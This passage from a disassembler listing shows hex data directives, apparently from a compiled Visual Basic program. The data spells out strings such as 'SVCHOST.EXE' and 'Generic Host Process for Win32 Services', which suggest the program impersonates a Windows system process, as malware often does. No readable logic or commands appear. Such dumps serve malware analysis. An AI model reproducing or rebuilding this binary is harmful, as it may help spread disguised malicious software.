0F50008h, 4000000h dd 4004FF50h, 30EFFBFFh, 0FF2004FFh, 0FF10EFFBh, 0FBFF0004h dd 4FEF0EFh, 0EFFBFEE0h, 0C004FED0h, 0B0EFFBFEh, 0FEA004FEh dd 0FE90EFFBh, 0FBFE8004h, 4FE70EFh, 0EFFBFE60h, 4004FE50h dd 30EFFBFEh, 0FE2004FEh, 0FE10EFFBh, 0FBFE0004h, 4FDF0EFh dd 0EFFBFDE0h, 0C004FDD0h, 0B0EFFBFDh, 0FDA004FDh, 0FD90EFFBh dd 0FBFD8004h, 0FDFD70EFh, 4FF60FEh, 6C34FD6Ch, 706CFD6Ch dd 0F5FFh, 385E0000h, 71001000h, 6C3CFD68h, 7071FD68h dd 432FFh, 0FD6CFF60h, 70003E36h, 40FF50FDh, 20FF30FFh dd 0FF10FFh, 0E0FEF0FFh, 0C0FED0FEh, 0A0FEB0FEh, 80FE90FEh dd 60FE70FEh, 40FE50FEh, 20FE30FEh, 0FE10FEh, 0E0FDF0FEh dd 0C0FDD0FDh, 0A0FDB0FDh, 80FD90FDh, 6C0E00FDh, 0F5FF70h dd 0CC000000h, 2D21Ch, 2B00F423h, 0F5FD66h, 0F5000000h dd 0Eh, 5EFF706Ch, 100039h, 3CFD6871h, 71FD686Ch, 3100FF64h dd 0F5h, 0FF500400h, 8000C0Ah, 0FF500400h, 0F5FF646Ch dd 1, 0FF4004AAh, 0C000D0Ah, 0FF400400h, 0FF683160h, 50000436h dd 0FF40FFh, 0FF686C2Eh, 34FF6004h, 6CFF606Ch, 1F5FF64h dd 0AA000000h, 0DF5h, 0FF706C00h, 1000390Ah, 606C3C00h dd 0FF6804FFh, 602F58FCh, 6C1F00FFh, 6804FF64h, 0FD544DFFh dd 50044008h, 0F0AFFh, 5004000Ch, 683160FFh, 0FF5035FFh dd 1F53000h, 6C000000h, 746CFF68h, 0F5FFh, 0FDFE0000h dd 0F5h, 706CCC00h, 0FD6804FFh, 0D000808h, 3D0058h, 0CCFD686Ch dd 2D01CC4h, 0FFF40700h, 0FF7A70h, 2E31E05h, 2000200h dd 706C0F00h, 0F5FFh, 0C3C70000h, 381Dh, 3C0B13h, 50190000h dd 0FD5008FDh, 1A00480Eh, 0FD50h, 102FFFh, 0EFFB0002h off_402E3C dd offset dword_401768+4 ; DATA XREF: .text:00401934o ; .text:00401A81o dd 22C000Ch, 2C0300h, 0 dd 0C0h, 0 dd 14h, 20000h, 0 dd 1FF68h, 1FF74h, 94h, 220000h, 0 dd 1FF60h, 1FD6Ch, 3FD50h, 2FF50h, 2FF40h, 2FF30h, 2FF20h dd 2FF10h, 2FF00h, 2FEF0h, 2FEE0h, 2FED0h, 2FEC0h, 2FEB0h dd 2FEA0h, 2FE90h, 2FE80h, 2FE70h, 2FE60h, 2FE50h, 2FE40h dd 2FE30h, 2FE20h, 2FE10h, 2FE00h, 2FDF0h, 2FDE0h, 2FDD0h dd 2FDC0h, 2FDB0h, 2FDA0h, 2FD90h, 2FD80h, 2FD70h, 1AD0001h dd 43000C6Ch, 2EFFFF68h, 20F5h, 0FF540400h, 8000C0Ah, 0FF540400h dd 100F5h, 0FF440400h, 0C000D0Ah, 0FF440400h, 0FF643160h dd 54000436h, 0F5FF44FFh, 53h, 0AFF5404h, 8000Ch, 79F5h dd 0FF440400h, 8000C0Ah, 73F500h, 24040000h, 0C0AFFh, 74F50008h dd 4000000h, 0C0AFF04h, 0F5000800h, 65h, 0AFEE404h, 8000Ch dd 6DF5h, 0FEC40400h, 8000C0Ah, 52F500h, 0A4040000h, 0C0AFEh dd 6FF50008h, 4000000h, 0C0AFE84h, 0F5000800h, 6Fh, 0AFE6404h dd 8000Ch, 74F5h, 0FE440400h, 8000C0Ah, 100F500h, 646C0000h dd 0FE2804FFh, 0FE286C34h, 4FF5404h, 0EFFBFF44h, 2404FF34h dd 14EFFBFFh, 0FF0404FFh, 0FEF4EFFBh, 0FBFEE404h, 4FED4EFh dd 0EFFBFEC4h, 0A404FEB4h, 94EFFBFEh, 0FE8404FEh, 0FE74EFFBh dd 0FBFE6404h, 4FE54EFh, 0EFFBFE44h, 0FEFDFE34h, 2C04FE30h dd 2C6C34FEh, 0E5EFEh, 2471000Ch, 286C3CFEh, 0FF6404FEh dd 246C58FCh, 0FF6404FEh, 8FE144Dh, 0FE040440h, 0C000F0Ah dd 0FE040400h, 5CF5h, 0FDF40400h, 8000C0Ah, 0FDF40400h dd 0FDE4EFFBh, 73F5h, 0FDD40400h, 8000C0Ah, 0FDD40400h dd 0FDC4EFFBh, 79F5h, 0FDB40400h, 8000C0Ah, 0FDB40400h dd 0FDA4EFFBh, 73F5h, 0FD940400h, 8000C0Ah, 0FD940400h dd 0FD84EFFBh, 74F5h, 0FD740400h, 8000C0Ah, 0FD740400h dd 0FD64EFFBh, 65F5h, 0FD540400h, 8000C0Ah, 0FD540400h dd 0FD44EFFBh, 6DF5h, 0FD340400h, 8000C0Ah, 0FD340400h dd 0FD24EFFBh, 33F5h, 0FD140400h, 8000C0Ah, 0FD140400h dd 0FD04EFFBh, 32F5h, 0FCF40400h, 8000C0Ah, 0FCF40400h dd 0FCE4EFFBh, 0FF643160h, 30000632h, 28FE2CFEh, 4C36FEh dd 0FD44FD54h, 0FD24FD34h, 0FD04FD14h, 0FCE4FCF4h, 0FF44FF54h dd 0FF24FF34h, 0FF04FF14h, 0FEE4FEF4h, 0FEC4FED4h, 0FEA4FEB4h dd 0FE84FE94h, 0FE64FE74h, 0FE44FE54h, 0FE04FE34h, 0FDE4FDF4h dd 0FDC4FDD4h, 0FDA4FDB4h, 0FD84FD94h, 0FD64FD74h, 1F5h dd 0FF640400h, 8FE144Dh, 0FF540440h, 0C00190Ah, 0FF540400h dd 28FCD43Ah, 33FB5D00h, 1CFF5435h, 646C0386h, 0FE1446FFh dd 53F5h, 0FF540400h, 8000C0Ah, 0FF540400h, 0FF44EFFBh dd 56F5h, 0FF340400h, 8000C0Ah, 0FF340400h, 0FF24EFFBh dd 43F5h, 0FF140400h, 8000C0Ah, 0FF140400h, 0FF04EFFBh dd 48F5h, 0FEF40400h, 8000C0Ah, 0FEF40400h, 0FEE4EFFBh dd 4FF5h, 0FED40400h, 8000C0Ah, 0FED40400h, 0FEC4EFFBh dd 53F5h, 0FEB40400h, 8000C0Ah, 0FEB40400h, 0FEA4EFFBh dd 54F5h, 0FE940400h, 8000C0Ah, 0FE940400h, 0FE84EFFBh dd 2EF5h, 0FE740400h, 8000C0Ah, 0FE740400h, 0FE64EFFBh dd 45F5h, 0FE540400h, 8000C0Ah, 0FE540400h, 0FE44EFFBh dd 58F5h, 0FE340400h, 8000C0Ah, 0FE340400h, 0FE04EFFBh dd 45F5h, 0FDF40400h, 8000C0Ah, 0FDF40400h, 0FDE4EFFBh dd 0FF643160h, 54002C36h, 34FF44FFh, 14FF24FFh, 0F4FF04FFh dd 0D4FEE4FEh, 0B4FEC4FEh, 94FEA4FEh, 74FE84FEh, 54FE64FEh dd 34FE44FEh, 0F4FE04FEh, 1EFDE4FDh, 646C04A1h, 281BFFh dd 0FF44462Ah, 53F5h, 0FF540400h, 8000C0Ah, 0FF540400h dd 0FF34EFFBh, 56F5h, 0FF240400h, 8000C0Ah, 0FF240400h dd 0FF14EFFBh, 43F5h, 0FF040400h, 8000C0Ah, 0FF040400h dd 0FEF4EFFBh, 48F5h, 0FEE40400h, 8000C0Ah, 0FEE40400h dd 0FED4EFFBh, 4FF5h, 0FEC40400h, 8000C0Ah, 0FEC40400h dd 0FEB4EFFBh, 53F5h, 0FEA40400h, 8000C0Ah, 0FEA40400h dd 0FE94EFFBh, 54F5h, 0FE840400h, 8000C0Ah, 0FE840400h dd 0FE74EFFBh, 2EF5h, 0FE640400h, 8000C0Ah, 0FE640400h dd 0FE54EFFBh, 45F5h, 0FE440400h, 8000C0Ah, 0FE440400h dd 0FE34EFFBh, 58F5h, 0FE040400h, 8000C0Ah, 0FE040400h dd 0FDF4EFFBh, 45F5h, 0FDE40400h, 8000C0Ah, 0FDE40400h dd 0FDD4EFFBh, 0FF643160h, 44002E36h, 34FF54FFh, 14FF24FFh dd 0F4FF04FFh, 0D4FEE4FEh, 0B4FEC4FEh, 94FEA4FEh, 74FE84FEh dd 54FE64FEh, 34FE44FEh, 0F4FE04FEh, 0D4FDE4FDh, 0F5FDh dd 80F50000h, 0F5000000h, 3, 0F5h, 0F500h, 0F50000h, 6C800000h dd 3004FF64h, 306C34FEh, 335EFEh, 2471001Ch, 306C3CFEh dd 0FF6404FEh, 246C58FCh, 0FCD071FEh, 6CFE302Fh, 0FFF5FCD0h dd 0CCFFFFFFh, 405731Ch, 0BC04FCB4h, 0FCC404FCh, 0AFCD06Ch dd 100034h, 0FCD06C3Ch, 400250Ah, 0F53C00h, 0F5000000h dd 80h, 3F5h, 0F500h, 0F50000h, 0F5000000h, 40000000h dd 4FF686Ch, 6C34FE30h, 335EFE30h, 71001C00h, 6C3CFE24h dd 6804FE30h, 6C58FCFFh, 0CC71FE24h, 0FE302FFCh, 0F5FCCC6Ch dd 0FFFFFFFFh, 5731CCCh, 4FCB404h, 0C404FCBCh, 0FCCC6CFCh dd 1000350Ah, 0CC6C3C00h, 250AFCh, 0FF3C0004h, 1000102Fh dd 53F500h off_40347C dd offset dword_401768+4 ; DATA XREF: .text:00401924o ; .text:00401A31o dd 2C8000Ch, 30057Ch, 0 dd 130000h, 0 dd 18h, 30000h, 1000000h, 2FF6Ch, 1FF68h, 1FF64h, 0B0h dd 290000h, 0 dd 1FE30h, 1FE2Ch, 1FE28h, 2FF54h, 2FF44h, 2FF34h, 2FF24h dd 2FF14h, 2FF04h, 2FEF4h, 2FEE4h, 2FED4h, 2FEC4h, 2FEB4h dd 2FEA4h, 2FE94h, 2FE84h, 2FE74h, 2FE64h, 2FE54h, 2FE44h dd 2FE34h, 2FE04h, 2FDF4h, 2FDE4h, 2FDD4h, 2FDC4h, 2FDB4h dd 2FDA4h, 2FD94h, 2FD84h, 2FD74h, 2FD64h, 2FD54h, 2FD44h dd 2FD34h, 2FD24h, 2FD14h, 2FD04h, 2FCF4h, 2FCE4h, 2EFF0400h dd 0FF4B0500h, 20200FFh, 54F500h, 3C040000h, 0C0AFFh, 68F50008h dd 4000000h, 0C0AFF2Ch, 0F5000800h, 75h, 0AFF0C04h, 8000Ch dd 6EF5h, 0FEEC0400h, 8000C0Ah, 64F500h, 0CC040000h, 0C0AFEh dd 65F50008h, 4000000h, 0C0AFEACh, 0F5000800h, 72h, 0AFE8C04h dd 8000Ch, 52F5h, 0FE6C0400h, 8000C0Ah, 54F500h, 4C040000h dd 0C0AFEh, 36F50008h, 4000000h, 0C0AFE2Ch, 0F5000800h dd 46h, 0AFE0C04h, 8000Ch, 6FF5h, 0FDEC0400h, 8000C0Ah dd 72F500h, 0CC040000h, 0C0AFDh, 6DF50008h, 4000000h, 0C0AFDACh dd 0F5000800h, 44h, 0AFD8C04h, 8000Ch, 43F5h, 0FD6C0400h dd 8000C0Ah, 0F500h, 3C040000h, 0FF2C04FFh, 0FF1CEFFBh dd 0FBFF0C04h, 4FEFCEFh, 0EFFBFEECh, 0CC04FEDCh, 0BCEFFBFEh dd 0FEAC04FEh, 0FE9CEFFBh, 0FBFE8C04h, 4FE7CEFh, 0EFFBFE6Ch dd 4C04FE5Ch, 3CEFFBFEh, 0FE2C04FEh, 0FE1CEFFBh, 0FBFE0C04h dd 4FDFCEFh, 0EFFBFDECh, 0CC04FDDCh, 0BCEFFBFDh, 0FDAC04FDh dd 0FD9CEFFBh, 0FBFD8C04h, 4FD7CEFh, 0EFFBFD6Ch, 0FEFDFD5Ch dd 5404FD58h, 546C34FDh, 0FF686CFDh, 0F5h, 385E00h, 50710010h dd 506C3CFDh, 0FF6871FDh, 58000432h, 36FD54FDh, 0FD5C003Eh dd 0FF2CFF3Ch, 0FF0CFF1Ch, 0FEECFEFCh, 0FECCFEDCh, 0FEACFEBCh dd 0FE8CFE9Ch, 0FE6CFE7Ch, 0FE4CFE5Ch, 0FE2CFE3Ch, 0FE0CFE1Ch dd 0FDECFDFCh, 0FDCCFDDCh, 0FDACFDBCh, 0FD8CFD9Ch, 0FD6CFD7Ch dd 686C0E00h, 0F5FFh, 1CCC0000h, 23000928h, 4E2B00F4h dd 0F5FDh, 0EF50000h, 6C000000h, 395EFF68h, 71001000h dd 6C3CFD50h, 5C71FD50h, 6C3B00FFh, 5804FF60h, 586C34FDh dd 0FF5C6CFDh, 1F5h, 0DF5AA00h, 6C000000h, 390AFF68h, 3C001000h dd 4FD586Ch, 58FCFD54h, 6CFD546Ch, 47FF60h, 43200h, 0FD54FD58h dd 5C6C3500h, 0FF606CFFh, 4FD5843h, 3C4DFD58h, 44008FDh dd 0F0AFF3Ch, 6C000C00h, 606CFD58h, 47FFh, 60FF3C04h, 0FEFF606Ch dd 2F00000Fh, 3C35FD58h, 0F50102FFh, 1, 46FF606Ch, 47F5FD3Ch dd 4000000h, 0C0AFF3Ch, 4000800h, 65F5FF3Ch, 4000000h dd 0C0AFF2Ch, 4000800h, 0EFFBFF2Ch, 6EF5FF1Ch, 4000000h dd 0C0AFF0Ch, 4000800h, 0EFFBFF0Ch, 65F5FEFCh, 4000000h dd 0C0AFEECh, 4000800h, 0EFFBFEECh, 72F5FEDCh, 4000000h dd 0C0AFECCh, 4000800h, 0EFFBFECCh, 69F5FEBCh, 4000000h dd 0C0AFEACh, 4000800h, 0EFFBFEACh, 63F5FE9Ch, 4000000h dd 0C0AFE8Ch, 4000800h, 0EFFBFE8Ch, 20F5FE7Ch, 4000000h dd 0C0AFE6Ch, 4000800h, 0EFFBFE6Ch, 48F5FE5Ch, 4000000h dd 0C0AFE4Ch, 4000800h, 0EFFBFE4Ch, 6FF5FE3Ch, 4000000h dd 0C0AFE2Ch, 4000800h, 0EFFBFE2Ch, 73F5FE1Ch, 4000000h dd 0C0AFE0Ch, 4000800h, 0EFFBFE0Ch, 74F5FDFCh, 4000000h dd 0C0AFDECh, 4000800h, 0EFFBFDECh, 20F5FDDCh, 4000000h dd 0C0AFDCCh, 4000800h, 0EFFBFDCCh, 50F5FDBCh, 4000000h dd 0C0AFDACh, 4000800h, 0EFFBFDACh, 72F5FD9Ch, 4000000h dd 0C0AFD8Ch, 4000800h, 0EFFBFD8Ch, 6FF5FD7Ch, 4000000h dd 0C0AFD6Ch, 4000800h, 0EFFBFD6Ch, 63F5FD5Ch, 4000000h dd 0C0AFD2Ch, 4000800h, 0EFFBFD2Ch, 65F5FD1Ch, 4000000h dd 0C0AFD0Ch, 4000800h, 0EFFBFD0Ch, 73F5FCFCh, 4000000h dd 0C0AFCECh, 4000800h, 0EFFBFCECh, 73F5FCDCh, 4000000h dd 0C0AFCCCh, 4000800h, 0EFFBFCCCh, 20F5FCBCh, 4000000h dd 0C0AFCACh, 4000800h, 0EFFBFCACh, 66F5FC9Ch, 4000000h dd 0C0AFC8Ch, 4000800h, 0EFFBFC8Ch, 6FF5FC7Ch, 4000000h dd 0C0AFC6Ch, 4000800h, 0EFFBFC6Ch, 72F5FC5Ch, 4000000h dd 0C0AFC4Ch, 4000800h, 0EFFBFC4Ch, 20F5FC3Ch, 4000000h dd 0C0AFC2Ch, 4000800h, 0EFFBFC2Ch, 57F5FC1Ch, 4000000h dd 0C0AFC0Ch, 4000800h, 0EFFBFC0Ch, 69F5FBFCh, 4000000h dd 0C0AFBECh, 4000800h, 0EFFBFBECh, 6EF5FBDCh, 4000000h dd 0C0AFBCCh, 4000800h, 0EFFBFBCCh, 33F5FBBCh, 4000000h dd 0C0AFBACh, 4000800h, 0EFFBFBACh, 32F5FB9Ch, 4000000h dd 0C0AFB8Ch, 4000800h, 0EFFBFB8Ch, 20F5FB7Ch, 4000000h dd 0C0AFB6Ch, 4000800h, 0EFFBFB6Ch, 53F5FB5Ch, 4000000h dd 0C0AFB4Ch, 4000800h, 0EFFBFB4Ch, 65F5FB3Ch, 4000000h dd 0C0AFB2Ch, 4000800h, 0EFFBFB2Ch, 72F5FB1Ch, 4000000h dd 0C0AFB0Ch, 4000800h, 0EFFBFB0Ch, 76F5FAFCh, 4000000h dd 0C0AFAECh, 4000800h, 0EFFBFAECh, 69F5FADCh, 4000000h dd 0C0AFACCh, 4000800h, 0EFFBFACCh, 63F5FABCh, 4000000h dd 0C0AFAACh, 4000800h, 0EFFBFAACh, 65F5FA9Ch, 4000000h dd 0C0AFA8Ch, 4000800h, 0EFFBFA8Ch, 73F5FA7Ch, 4000000h dd 0C0AFA6Ch, 4000800h, 0EFFBFA6Ch, 0F5FA5Ch, 0FE000000h dd 28FA4CFEh, 0FA3Ch, 2C3CFB5Dh, 1F5FAh, 606C0000h, 0F6CC46FFh dd 53F5h, 0FA1C0400h, 8000C0Ah, 0FA1C0400h, 65F5h, 0FA0C0400h dd 8000C0Ah, 0FA0C0400h, 0F9FCEFFBh, 72F5h, 0F9EC0400h dd 8000C0Ah, 0F9EC0400h, 0F9DCEFFBh, 76F5h, 0F9CC0400h dd 8000C0Ah, 0F9CC0400h, 0F9BCEFFBh, 69F5h, 0F9AC0400h dd 8000C0Ah, 0F9AC0400h, 0F99CEFFBh, 63F5h, 0F98C0400h dd 8000C0Ah, 0F98C0400h, 0F97CEFFBh, 65F5h, 0F96C0400h dd 8000C0Ah, 0F96C0400h, 0F95CEFFBh, 73F5h, 0F94C0400h dd 8000C0Ah, 0F94C0400h, 0F93CEFFBh, 20F5h, 0F92C0400h dd 8000C0Ah, 0F92C0400h, 0F91CEFFBh, 61F5h, 0F90C0400h dd 8000C0Ah, 0F90C0400h, 0F8FCEFFBh, 6EF5h, 0F8EC0400h dd 8000C0Ah, 0F8EC0400h, 0F8DCEFFBh, 64F5h, 0F8CC0400h dd 8000C0Ah, 0F8CC0400h, 0F8BCEFFBh, 20F5h, 0F8AC0400h dd 8000C0Ah, 0F8AC0400h, 0F89CEFFBh, 43F5h, 0F88C0400h dd 8000C0Ah, 0F88C0400h, 0F87CEFFBh, 6FF5h, 0F86C0400h dd 8000C0Ah, 0F86C0400h, 0F85CEFFBh, 6EF5h, 0F84C0400h dd 8000C0Ah, 0F84C0400h, 0F83CEFFBh, 74F5h, 0F82C0400h dd 8000C0Ah, 0F82C0400h, 0F81CEFFBh, 72F5h, 0F80C0400h dd 8000C0Ah, 0F80C0400h, 0F7FCEFFBh, 6FF5h, 0F7EC0400h dd 8000C0Ah, 0F7EC0400h, 0F7DCEFFBh, 6CF5h, 0F7CC0400h dd 8000C0Ah, 0F7CC0400h, 0F7BCEFFBh, 6CF5h, 0F7AC0400h dd 8000C0Ah, 0F7AC0400h, 0F79CEFFBh, 65F5h, 0F78C0400h dd 8000C0Ah, 0F78C0400h, 0F77CEFFBh, 72F5h, 0F76C0400h dd 8000C0Ah, 0F76C0400h, 0F75CEFFBh, 20F5h, 0F74C0400h dd 8000C0Ah, 0F74C0400h, 0F73CEFFBh, 61F5h, 0F72C0400h dd 8000C0Ah, 0F72C0400h, 0F71CEFFBh, 70F5h, 0F70C0400h dd 8000C0Ah, 0F70C0400h, 0F6FCEFFBh, 70F5h, 0F6EC0400h dd 8000C0Ah, 0F6EC0400h, 0F6DCEFFBh, 0F5h, 0BCFEFE00h dd 0F6AC28F6h, 0FB5D0000h, 0FBF69C3Ch, 0FFF68C1Fh, 108361Bh dd 0F76CF77Ch, 0F74CF75Ch, 0F72CF73Ch, 0F70CF71Ch, 0F6ECF6FCh dd 0F6BCF6DCh, 0F94CF95Ch, 0F92CF93Ch, 0F90CF91Ch, 0F8ECF8FCh dd 0F8CCF8DCh, 0F8ACF8BCh, 0F88CF89Ch, 0F86CF87Ch, 0F84CF85Ch dd 0F82CF83Ch, 0F80CF81Ch, 0F7ECF7FCh, 0F7CCF7DCh, 0F7ACF7BCh dd 0F78CF79Ch, 0FB4CFB5Ch, 0FB2CFB3Ch, 0FB0CFB1Ch, 0FAECFAFCh dd 0FACCFADCh, 0FAACFABCh, 0FA8CFA9Ch, 0FA6CFA7Ch, 0FA4CFA5Ch dd 0FA0CFA1Ch, 0F9ECF9FCh, 0F9CCF9DCh, 0F9ACF9BCh, 0F98CF99Ch dd 0F96CF97Ch, 0FD2CFD5Ch, 0FD0CFD1Ch, 0FCECFCFCh, 0FCCCFCDCh dd 0FCACFCBCh, 0FC8CFC9Ch, 0FC6CFC7Ch, 0FC4CFC5Ch, 0FC2CFC3Ch dd 0FC0CFC1Ch, 0FBECFBFCh, 0FBCCFBDCh, 0FBACFBBCh, 0FB8CFB9Ch dd 0FB6CFB7Ch, 0FF2CFF3Ch, 0FF0CFF1Ch, 0FEECFEFCh, 0FECCFEDCh dd 0FEACFEBCh, 0FE8CFE9Ch, 0FE6CFE7Ch, 0FE4CFE5Ch, 0FE2CFE3Ch dd 0FE0CFE1Ch, 0FDECFDFCh, 0FDCCFDDCh, 0FDACFDBCh, 0FD8CFD9Ch dd 0FD6CFD7Ch, 9261Ch, 2B00F41Ah, 0F5FD4Eh, 0F5000000h dd 10h, 0AFF686Ch, 100039h, 0A0A003Ch, 3Ah, 0FF4C74h, 0FF686C1Ah dd 4003B5Eh, 0FD507100h, 0FD506C3Ch, 0F5h, 261CCC00h, 0A130009h dd 3Ah, 0AFFF4C6Fh, 0EB02F4EDh, 9211CDCh, 261E0500h, 1E050009h dd 20008EFh, 0F000200h, 0F5FF686Ch, 0 dd 0B1DC3C7h, 0B130000h, 3Ch, 8F68819h, 480EF688h, 0F6881A00h dd 2FFF0000h, 10000Ch off_403EB0 dd offset dword_401768+4 ; DATA XREF: .text:00401930o ; .text:00401A6Do dd 8F40008h, 340954h, 0 dd 130268h, 0 dd 1Ah, 20001h, 1000000h, 2FF6Ch, 4FF60h, 702852FCh, 0F50000FFh dd 234h, 8A0000h, 0 dd 1FD58h, 1FD54h, 3F688h, 2FF3Ch, 2FF2Ch, 2FF1Ch, 2FF0Ch dd 2FEFCh, 2FEECh, 2FEDCh, 2FECCh, 2FEBCh, 2FEACh, 2FE9Ch dd 2FE8Ch, 2FE7Ch, 2FE6Ch, 2FE5Ch, 2FE4Ch, 2FE3Ch, 2FE2Ch dd 2FE1Ch, 2FE0Ch, 2FDFCh, 2FDECh, 2FDDCh, 2FDCCh, 2FDBCh dd 2FDACh, 2FD9Ch, 2FD8Ch, 2FD7Ch, 2FD6Ch, 2FD5Ch, 2FD2Ch dd 2FD1Ch, 2FD0Ch, 2FCFCh, 2FCECh, 2FCDCh, 2FCCCh, 2FCBCh dd 2FCACh, 2FC9Ch, 2FC8Ch, 2FC7Ch, 2FC6Ch, 2FC5Ch, 2FC4Ch dd 2FC3Ch, 2FC2Ch, 2FC1Ch, 2FC0Ch, 2FBFCh, 2FBECh, 2FBDCh dd 2FBCCh, 2FBBCh, 2FBACh, 2FB9Ch, 2FB8Ch, 2FB7Ch, 2FB6Ch dd 2FB5Ch, 2FB4Ch, 2FB3Ch, 2FB2Ch, 2FB1Ch, 2FB0Ch, 2FAFCh dd 2FAECh, 2FADCh, 2FACCh, 2FABCh, 2FAACh, 2FA9Ch, 2FA8Ch dd 2FA7Ch, 2FA6Ch, 2FA5Ch, 2FA4Ch, 2FA2Ch, 2FA1Ch, 2FA0Ch dd 2F9FCh, 2F9ECh, 2F9DCh, 2F9CCh, 2F9BCh, 2F9ACh, 2F99Ch dd 2F98Ch, 2F97Ch, 2F96Ch, 2F95Ch, 2F94Ch, 2F93Ch, 2F92Ch dd 2F91Ch, 2F90Ch, 2F8FCh, 2F8ECh, 2F8DCh, 2F8CCh, 2F8BCh dd 2F8ACh, 2F89Ch, 2F88Ch, 2F87Ch, 2F86Ch, 2F85Ch, 2F84Ch dd 2F83Ch, 2F82Ch, 2F81Ch, 2F80Ch, 2F7FCh, 2F7ECh, 2F7DCh dd 2F7CCh, 2F7BCh, 2F7ACh, 2F79Ch, 2F78Ch, 2F77Ch, 2F76Ch dd 2F75Ch, 2F74Ch, 2F73Ch, 2F72Ch, 2F71Ch, 2F70Ch, 2F6FCh dd 2F6ECh, 2F6DCh, 2F6BCh, 2F69Ch, 2F68Ch, 1AD0002h, 672h dd 5000200h, 0FFFF4Bh, 400F41Dh, 5FF78h, 12400h, 200140Dh dd 0FF780800h, 3007C0Dh, 0FF781A00h, 5C041F00h, 40AFFh dd 5C040004h, 4CEBFBFFh, 0FF3C28FFh, 0FB5D0000h, 0FF5C3574h dd 4E31Ch, 1F566h, 5C040000h, 40AFFh, 5C040004h, 0FF3C3AFFh dd 0F50005h, 0FE000000h, 28FF4CFEh, 0FF14h, 2C70FB5Dh dd 1F5FFh, 4040000h, 40AFFh, 4040004h, 0FEF43AFFh, 0F50006h dd 0FE000000h, 28FEE4FEh, 0FED4h, 0C470FB5Dh, 0B41FFBFEh dd 361BFFFEh, 0FF5C0008h, 0FF04FF4Ch, 4E1CFEE4h, 0F5320002h dd 1, 0AFF5C04h, 40004h, 3AFF5C04h, 6FF3Ch, 0F5h, 4CFEFE00h dd 0FF1428FFh, 0FB5D0000h, 43674h, 0FF4CFF5Ch, 1941Ch dd 0FF5C045Ch, 400040Ah, 1F500h, 4C040000h, 40AFFh, 4C040004h dd 0FF3C3AFFh, 0F50006h, 0FE000000h, 28FF2CFEh, 2FF14h dd 0FF049CFBh, 0FEE4F6FCh, 0F5FEE404h, 2, 4FF5C04h, 70AFEC4h dd 4001000h, 3160FEC4h, 0A36FF28h, 2CFF4C00h, 0E4FF5CFFh dd 0FEC4FEh, 0FF5C045Ah, 400040Ah, 0FF4C0400h, 400040Ah dd 0F500h, 0FFF50000h, 1BFFFFFFh, 4C040006h, 0B0FEFDFFh dd 85EFEh, 0AC710010h, 0FF2C27FEh, 0F5FEAC6Ch, 2, 0FF5C04AAh dd 0AFF0404h, 100007h, 60FF0404h, 2FFF2431h, 836FEB0h dd 5CFF4C00h, 4FF2CFFh, 2491EFFh, 5C000200h, 0AFF5C04h dd 40004h, 1F5h, 0FF4C0400h, 400040Ah, 0FF4C0400h, 5FF3C3Ah dd 0F500h, 0FEFE0000h, 1428FF2Ch, 0FB0001FFh, 0FCFF049Ch dd 4FEE4F6h, 1F5FEE4h, 4000000h, 0C404FF5Ch, 70AFEh, 0C4040010h dd 283160FEh, 0A36FFh, 0FF2CFF4Ch, 0FEE4FF5Ch, 5700FEC4h dd 0AFF5C04h, 40004h, 0AFF4C04h, 40004h, 0F5FEE427h, 1 dd 3AFF4C04h, 5FF3Ch, 0F5h, 2CFEFE00h, 0FF1428FFh, 94FB0001h dd 22FCFF04h, 4FF5C04h, 70AFEC4h, 4001000h, 3160FEC4h dd 0C36FF24h, 2CFF4C00h, 4FF5CFFh, 0C4FEE4FFh, 1E0200FEh dd 200026Ch, 5C041400h, 40AFFh, 5C040004h, 283160FFh, 0FF5C35FFh dd 91B0800h, 0FF244300h, 2C000200h, 0F5h, 0FFFFF500h, 3C3AFFFFh dd 4E000AFFh, 5C04FF5Ch, 0FF286CFFh, 0AFF4C04h, 14000Bh dd 0FCFF4C04h, 35FE9CF6h, 1500FF5Ch, 0FCFE9C04h, 1F44935h dd 1F5CBFCh, 0DB000000h, 3DB1Ch, 1F51Fh, 74040000h, 0FE9C04FFh dd 0F44935FCh, 0F5CBFC01h, 2, 0FE906CFEh, 2D000388h, 20F5h dd 0FF5C0400h, 8000C0Ah, 0FF5C0400h, 100F5h, 0FF4C0400h dd 0C000D0Ah, 0FF4C0400h, 0FE983160h, 5C000436h, 0FF4CFFh dd 0FF74046Ch, 400393FDh, 0FEFE9C04h, 1FF5CAEh, 0F58BFC00h dd 100h, 4FE986Ch, 6C34FE88h, 5C04FE88h, 0B0FEFDFFh, 0FE8C04FEh dd 0FE8C6C34h, 0C000E5Eh, 0FEAC7100h, 0FE886C3Ch, 0FCFE9804h dd 0FEAC6C58h, 4DFE9804h, 4008FF14h, 0AFF4C04h, 0C000Fh dd 60FF4C04h, 32FE9831h, 0FEB00006h, 0FE88FE8Ch, 5C000436h dd 0FF4CFFh, 0FF740417h, 400393FDh, 46FE986Ch, 425FF14h dd 0B0FEFE9Ch, 0A000001h, 67FF7404h, 2CEFE90h, 91B0800h dd 0FF284300h, 0F51A00h, 4000000h, 9C04FF74h, 4935FCFEh dd 0CBFC01F4h, 0FE8064FEh, 270003DBh, 46FF286Ch, 7404FF14h dd 393FDFFh, 0FE9C0440h, 0FF5CAEFEh, 0EFFB0001h, 3160FF4Ch dd 436FF28h, 4CFF5C00h, 40A00FFh, 8066FF74h, 3AAFEh, 0F50A0002h dd 44h, 0FE2C71h, 0FF246C0Fh, 0F54Ah, 1CC70000h, 5E000457h dd 4FE7004h, 0E804FE2Ch, 101FFDh, 0F5FDE804h, 0 dd 0F5h, 0F500h, 0F50000h, 0F5000000h, 0 dd 0F5h, 0FF286C00h, 34FEB004h, 0F5FEB06Ch, 0 dd 2800110Ah, 0E8043C00h, 0FE2C04FDh, 6C001020h, 2804FEB0h dd 2F58FCFFh, 0F6FEFEB0h, 10FDE8h, 4E11Eh, 0F5880002h dd 20h, 0AFF5C04h, 8000Ch, 4FE7004h, 0A404FE2Ch, 101FFDh dd 0F5FDA404h, 0 dd 0F5h, 0F500h, 0F50000h, 0F5000000h, 0 dd 0F5h, 0FF286C00h, 4FF3C46h, 0EFFBFF5Ch, 246CFF4Ch, 0FF1446FFh dd 0FF2CEFFBh, 0FEB0FEFDh, 34FE8C04h, 0F5FE8C6Ch, 0 dd 2800110Ah, 0A4043C00h, 0FE2C04FDh, 32001020h, 0FEB00004h dd 636FE8Ch, 4CFF5C00h, 0FEFF2CFFh, 10FDA4F6h, 20000h dd 4150002h, 0F5FDA2h, 10000000h, 12070Ch, 1CFDA26Bh, 17000515h dd 0FD00086Ch, 5FF789Ch, 1240000h, 100D00h, 781A0002h dd 0FC0400FFh, 20200C8h, 